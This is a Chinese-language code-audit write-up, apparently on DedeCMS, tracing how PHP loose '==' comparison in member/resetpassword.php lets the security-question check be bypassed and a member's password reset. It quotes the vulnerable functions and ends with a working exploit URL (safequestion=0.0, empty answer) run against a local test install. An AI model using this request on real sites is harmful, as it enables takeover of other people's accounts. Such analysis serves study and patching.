代码分析
漏洞利用点主要是php弱类型的判断缺陷,漏洞代码位于 member\resetpassword.php
主要代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| else if($dopost == "safequestion") { $mid = preg_replace("#[^0-9]#", "", $id); $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'"; $row = $db->GetOne($sql); if(empty($safequestion)) $safequestion = '';
if(empty($safeanswer)) $safeanswer = '';
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer) { sn($mid, $row['userid'], $row['email'], 'N'); exit(); } else { ShowMsg("对不起,您的安全问题或答案回答错误","-1"); exit(); }
}
|
1
| if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
|
在该处使用了双等号进行判断,因此我们可以利用弱类型的特性进行绕过,默认注册用户是没有设置安全问题的,我们在数据库看一下默认的值
safequestion的值为0,safeanswer值为空
对于上方的判断
1 2 3
| if(empty($safequestion)) $safequestion = '';
if(empty($safeanswer)) $safeanswer = '';
|
最后的safequestion值为0,safeanswer值为空,这样对于safequestion,我们可以使用0.0 0.这样的字符串使他们强制转换为int后变为0 达到绕过判断的目的,而对于safeanswer我们直接置空就好
绕过之后我们会进入sn()函数
1
| sn($mid, $row['userid'], $row['email'], 'N');
|
定位函数,该函数在/member/inc/inc_pwd_functions.php中,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| function sn($mid,$userid,$mailto, $send = 'Y') { global $db; $tptim= (60*10); $dtime = time(); $sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'"; $row = $db->GetOne($sql); if(!is_array($row)) { newmail($mid,$userid,$mailto,'INSERT',$send); } elseif($dtime - $tptim > $row['mailtime']) { newmail($mid,$userid,$mailto,'UPDATE',$send); } else { return ShowMsg('对不起,请10分钟后再重新申请', 'login.php'); } }
|
首先该函数会在#@__pwd_tmp表中查询是否存在临时密码,当我们第一次重置密码时,该表中是没有值的,而后通过下面的判断,我们自然的进入了newmail函数
1
| newmail($mid,$userid,$mailto,'INSERT',$send);
|
该函数同样在/member/inc/inc_pwd_functions.php 中,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| function newmail($mid, $userid, $mailto, $type, $send) { global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl; $mailtime = time(); $randval = random(8); $mailtitle = $cfg_webname.":密码修改"; $mailto = $mailto; $headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail"; $mailbody = "亲爱的".$userid.":\r\n您好!感谢您使用".$cfg_webname."网。\r\n".$cfg_webname."应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)\r\n本次临时登陆密码为:".$randval." 请于三天内登陆下面网址确认修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid; if($type == 'INSERT') { $key = md5($randval); $sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid', '$key', '$mailtime');"; if($db->ExecuteNoneQuery($sql)) { if($send == 'Y') { sendmail($mailto,$mailtitle,$mailbody,$headers); return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000'); } else if ($send == 'N') { return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval); } } else { return ShowMsg('对不起修改失败,请联系管理员', 'login.php'); } } elseif($type == 'UPDATE') { $key = md5($randval); $sql = "UPDATE `#@__pwd_tmp` SET `pwd` = '$key',mailtime = '$mailtime' WHERE `mid` ='$mid';"; if($db->ExecuteNoneQuery($sql)) { if($send == 'Y') { sendmail($mailto,$mailtitle,$mailbody,$headers); ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php'); } elseif($send == 'N') { return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval); } } else { ShowMsg('对不起修改失败,请与管理员联系', 'login.php'); } } }
|
根据前面的参数传递,最后会执行到这里
1
| return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
|
在这里$randval是我们所不知道的随机字符串,但是该行信息会进行回显输出,这也正是我们进行下一步密码重置操作所需要的链接
我们继续来看getpasswd的操作,代码位于 member\resetpassword.php,关键代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| else if($dopost == "getpasswd") { if(empty($id)) { ShowMsg("对不起,请不要非法提交","login.php"); exit(); } $mid = preg_replace("#[^0-9]#", "", $id); $row = $db->GetOne("SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'"); if(empty($row)) { ShowMsg("对不起,请不要非法提交","login.php"); exit(); } if(empty($setp)) { $tptim= (60*60*24*3); $dtime = time(); if($dtime - $tptim > $row['mailtime']) { $db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';"); ShowMsg("对不起,临时密码修改期限已过期","login.php"); exit(); } require_once(dirname(__FILE__)."/templets/resetpassword2.htm"); } elseif($setp == 2) { if(isset($key)) $pwdtmp = $key;
$sn = md5(trim($pwdtmp)); if($row['pwd'] == $sn) { if($pwd != "") { if($pwd == $pwdok) { $pwdok = md5($pwdok); $sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';"; $db->executenonequery($sql); $sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';"; if($db->executenonequery($sql)) { showmsg('更改密码成功,请牢记新密码', 'login.php'); exit; } } } showmsg('对不起,新密码为空或填写不一致', '-1'); exit; } showmsg('对不起,临时密码错误', '-1'); exit; } }
|
第一次会执行到这里
1 2 3 4 5 6 7 8 9 10 11 12
| if(empty($setp)) { $tptim= (60*60*24*3); $dtime = time(); if($dtime - $tptim > $row['mailtime']) { $db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';"); ShowMsg("对不起,临时密码修改期限已过期","login.php"); exit(); } require_once(dirname(__FILE__)."/templets/resetpassword2.htm"); }
|
该段代码最后请求了/templets/resetpassword2.htm 这个页面,我们来看一下
页面将step的值修改为2后又回到上面那段代码,接着执行该段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| elseif($setp == 2) { if(isset($key)) $pwdtmp = $key;
$sn = md5(trim($pwdtmp)); if($row['pwd'] == $sn) { if($pwd != "") { if($pwd == $pwdok) { $pwdok = md5($pwdok); $sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';"; $db->executenonequery($sql); $sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';"; if($db->executenonequery($sql)) { showmsg('更改密码成功,请牢记新密码', 'login.php'); exit; } } }
|
该段进行了最后一步重置密码的操作
漏洞利用
首先访问链接 http://127.0.0.1/dedecms/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=1
抓包repeater取回带有key的链接
访问该链接,即可重置密码